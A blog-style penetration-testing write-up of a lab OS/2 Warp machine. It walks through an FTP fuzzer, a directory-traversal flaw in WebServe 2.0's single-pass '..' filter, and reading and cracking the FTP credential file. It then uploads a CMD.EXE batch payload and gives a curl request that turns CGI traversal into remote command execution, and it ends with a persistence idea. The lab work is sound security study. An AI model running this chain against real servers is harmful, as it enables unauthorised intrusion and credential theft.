Chaining OS/2 Software Hacks for a Retro OS Takeover
Hey space travelers 🚀
Recently, I found myself in a rabbit hole reading about IBM and Microsoft’s less-talked about DOS-Successor and love child, OS/2. I doubt I’m unique in thinking OS/2 was ahead of its time (see: multitasking/architecture, wide-compatibility, featureset). Despite that the OS never gained significant traction and remains relegated to a niche audience (with a few dedicated projects like ArcaOS keeping the dream alive to this day)!
Wanting to try it out for myself, I set up an install of OS/2 Warp (4.5) in the lab. As a secondary goal I put on my hacker hat to see if I could come up with an interesting security exercise using the machine.
Keep reading for old-school pentest highlights, and ultimately remote command execution and machine takeover.
Lab Setup
- Machine: OS2 Warp 4.52
- I’ll leave finding an install image as an exercise to the reader, but I found a pre-built OVA trivially during my search
- Enabled Daemons: FTPD v17:36:19
- Additional Software: WebServe v2.0
- Network: NAT
- Port 2121 on host forwarded to 21 on OS/2
- Port 8686 on host forwarded to 80 on OS/2
One authenticated user is set up in the TCP/IP Configuration Notebook: “alice”. Alice is configured solely for readwrite access to C:\srv
using FTP. WebServe is configured with a single domain serving content from this same directory.
The machine models a typical remote content publisher setup, with web content changes being pushed via FTP.
I could ramble a long time on setting up and playing with my lab machine (warp minimize/maximize window sounds on spotify when? 🤌) - alas I’ll keep it brief and stay on topic for the article.
Enumeration
No Footholds Here
I started by exploring the FTPD daemon dynamically and statically. IDA Pro’s LE/LX loader makes a very clean decompilation/disassembly. EDM2 was an incredibly helpful reference for filling in ordinal import names from external modules without extracting them off the machine.
I didn’t catch any trivially obvious buffer overruns accessible from the main command parser loop. No obvious routes to bypass authentication jumped out either.
Some quick fuzzing dynamically didn’t reveal any obvious footholds:
import os
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect(('127.0.0.1', 2121))
# fuzz
print(sock.recv(4096))
for _ in range(5000):
sock.sendall(os.urandom(1024))
print(sock.recv(4096))
return
# command fuzz
# print(sock.recv(4096))
# sock.sendall(f'CWD {"a"*5000}\r\n'.encode())
# print(sock.recv(4096))
# fuzz login
# print(sock.recv(4096))
# sock.sendall(f'USER {"a"*5000}\r\n'.encode())
# print(sock.recv(4096))
# sock.sendall(f'PASS {"a"*5000}\r\n'.encode())
# print(sock.recv(4096))
With the FTP server enumeration steadily increasing in effort, I decided to focus efforts on the web server.
WebServe Preamble
WebServe 2.0 was a more “batteries-included” appsec exercise, coming bundled with source code and documentation. The software’s author commented their code meticulously, and structured the application concisely/modularly. With resources in hand, reviewing the application for security flaws was an extremely pleasant experience comparatively to FTPD.
It was worth noting however the application is authored in a language I’ve not encountered before, Modula-2. Initially this gave me pause, but the well put together nature of the source code and the low cognitive load of the language actually made this a very productive review. I found myself able to understand the syntax of the application with almost no language reference required. The standard library and syntax had me feeling at times like I was reviewing a GoLang application written in a parallel universe where Pascal had been its major influence.
Suspicious URL Handling
Tracing the lifecycle of a web request we see the application accepts socket connection and then leans on Process.Create to handle the request in parallel with other tasks. The handler is a WSession
instance that ultimately delegates to Requests.MOD
-> HandleOneRequest
to do HTTP work.
In Requests.MOD
-> CopyURL
we see an interesting comment that should trigger directory traversal spidey-senses. Note that this mechanism for replacing traversal characters runs only once, opening the door for path roots like /..../
to be interpreted as /../
.
(* Delete any ".." in the URL. Since this should not occur in *)
(* any legitimate request, we do not mind if the result is a *)
(* syntactically incorrect URL. *)
Strings.FindNext ("..", sess^.URL, 0, found, pos);
IF found THEN
Strings.Delete (sess^.URL, pos, 2);
END (*IF*);
Testing this out shows we have a working directory traversal attack against the webserver 🎉
No Footholds Here (The Redux)
One additional point stuck out to me in the request handling procedure:
PROCEDURE LocateFile (D: Domain; VAR (*IN*) URL: ARRAY OF CHAR;
VAR (*OUT*) filename: ARRAY OF CHAR;
VAR (*OUT*) lastmodified: ARRAY OF CHAR;
VAR (*OUT*) size: CARD64;
VAR (*OUT*) CGI, SHTML: BOOLEAN): BOOLEAN;
(* Translates a URL into a file name, also returns its size. If *)
(* CGI is true then this is an executable. *)
VAR dir, args: FilenameString;
DirEnt: DirectoryEntry;
pos: CARDINAL;
found, Qfound, filefound: BOOLEAN;
BEGIN
size := CARD64{0,0};
pos := 0; Qfound := FALSE;
(* See whether the URL starts with /cgi-bin. *)
Strings.Assign (URL, dir);
dir[8] := Nul;
CGI := StringMatch (dir, "/cgi-bin");
If the request begins with /cgi-bin
the target of the request is treated as a CGI executable, and started as a subprocess. Coupled with our earlier path traversal this gives us the ability to start arbitrary processes on the remote machine (begin the URL with cgi-bin
, then traverse elsewhere on the filesystem).
The rub: the application absolutely resolves the target executable using OS2.DosFindFirst
, then passes its query parameters via environment variable (QUERY_STRING
). This really blows for anything but popping calc.exe
😛.
But wait… it gets more frustrating. In addition to executing CGI targets via GET requests we can also invoke them via POST - where the POST body is passed as STDIN to the executable. On-paper this should allow a remote command execution by POSTing a batch or rexx script to the OS2 command interpreter (CMD.EXE
) via STDIN. Even testing this out via CMD.EXE < PAYLOAD.CMD
seems to indicate this would work. In practice however, I hit wall after wall.
I confirmed the subprocess is created.
By every indication my POST body should be piped into STDIN.
IF PipeInput THEN
(* COPY FROM SOCKET STREAM TO INPUT PIPE. *)
NEW (inbufptr);
WHILE inputlength > 0 DO
GetBytes (sess^.sockstream, inbufptr^, inputlength, actual);
IF actual = 0 THEN
inputlength := 0; (* to force loop termination *)
ELSE
total := 0;
REPEAT
rc := OS2.DosWrite (inWrite, inbufptr^, actual, written);
INC (total, written);
UNTIL written = actual;
DEC (inputlength, actual);
END (*IF*);
END (*WHILE*);
OS2.DosClose (inWrite);
OS2.DosClose (inRead);
OS2.DosDupHandle (SaveStdIn, StdIn);
END (*IF*);
IF inbufptr <> NIL THEN
DISPOSE (inbufptr);
END (*IF*);
(* Now deal with the piped output. *)
(* Close the "write" end of the output pipe, and restore *)
(* standard output. Intuitively this should cause problems if *)
(* the child process hasn't finished writing to the pipe. In *)
(* practice this doesn't seem to happen, and I can't understand *)
(* why. *)
OS2.DosClose (outWrite);
OS2.DosDupHandle (SaveStdOut, StdOut);
(* COPY FROM OUTPUT PIPE TO SOCKET STREAM. *)
NEW (outbufptr);
IF useoutfile THEN
cid := OpenNewFile (outfile, FALSE);
END (*IF*);
havedata := FALSE;
IF chunked_output THEN
havedata := SendHeaderLines (outRead, sess^.sockstream,
outbufptr^, outbufSize);
END (*IF*);
After extensive fiddling I simply can’t get this strategy to work outside a test harness.

If any DOS/OS2 experts want to weigh in and help me understand why, I’d love to hear from you. I stopped just short of system call tracing and debugging.
Eventually I put this to rest and began thinking of other ways to gain access to the machine, mostly leveraging our previously found directory traversal.
Increasing our Surface Area of Attack
Knowing that FTP is running on this machine and users are configured for FTP using the TCP/IP configuration notebook, we start to wonder where that configuration is stored. If we could access secrets using our directory traversal we can expand the surface area we’re able to attack.
Searching the filesystem around the configuration notebook reveals a Java application that may help us understand the mechanism in which user config is stored.
public class UserData extends NotebookData implements OOCConstants {
/* snip */
private void loadFromOOCS() {
if (this.myTrace) {
System.out.println("......in UserData.loadFromOOCS() of UserData");
}
this.myEtcPath = NativeData.getEtcPath();
this.userdataDatFile = this.myEtcPath + "dat" + File.separator + "tcpnbk.dat";
this.userdataConfigFile = this.myEtcPath + "tcpnbk.lst";
this.userdatabakFile = this.myEtcPath + "tcpnbk.nbk";
this.rshdataDatFile = this.myEtcPath + "dat" + File.separator + "toxrhost.dat";
this.rshdataConfigFile = this.myEtcPath + "rhosts";
this.rshdatabakFile = this.myEtcPath + "rhosts.nbk";
this.tftpdataDatFile = this.myEtcPath + "dat" + File.separator + "toxtftp.dat";
this.tftpdataConfigFile = this.myEtcPath + "tftpauth";
this.tftpdatabakFile = this.myEtcPath + "tftpauth.nbk";
this.tftpadataDatFile = this.myEtcPath + "dat" + File.separator + "toxtftpa.dat";
this.tftpadataConfigFile = this.myEtcPath + "tftpacc.ctl";
this.tftpadatabakFile = this.myEtcPath + "tftpacc.nbk";
this.logFile = this.myEtcPath + "tcpcfg2.log";
After decompiling/spelunking we see that /..../MPTN/ETC/TCPNBK.LST
will reveal the information we’re looking for:
A little SHA-1 cracking later, and we’ll have our valid credentials: “alice”/“aaaaa”.
FTP Upload to RCE
Given this user account with FTP upload we can now craft a batch or rexx payload and execute it on the remote server using our original CGI abuse vector.
My naive payload looks like: C:/OS2/CMD.EXE /C %QUERY_STRING%
This allows me to execute arbitrary commands on the target machine via query string, sidestepping issues that STDIN posed previously.
curl -v -H 'host: warp.com' --path-as-is 'http://127.0.0.1:8686/cgi-bin/..../../srv/EVIL.CMD?echo%20123%20>%20pwn.txt'
With that, we now have a full privilege command execution primitive on the target machine and can do as we please!
If I were an attacker I might consider adding myself to TCPNBK.LST
and enabling telnet for my account. Remote access and administration becomes trivial at this point.
Some twists and turns on this journey, but ultimately we were able to create fun and interesting lab setup to work our way through!
Happy hacking, until next time 🥳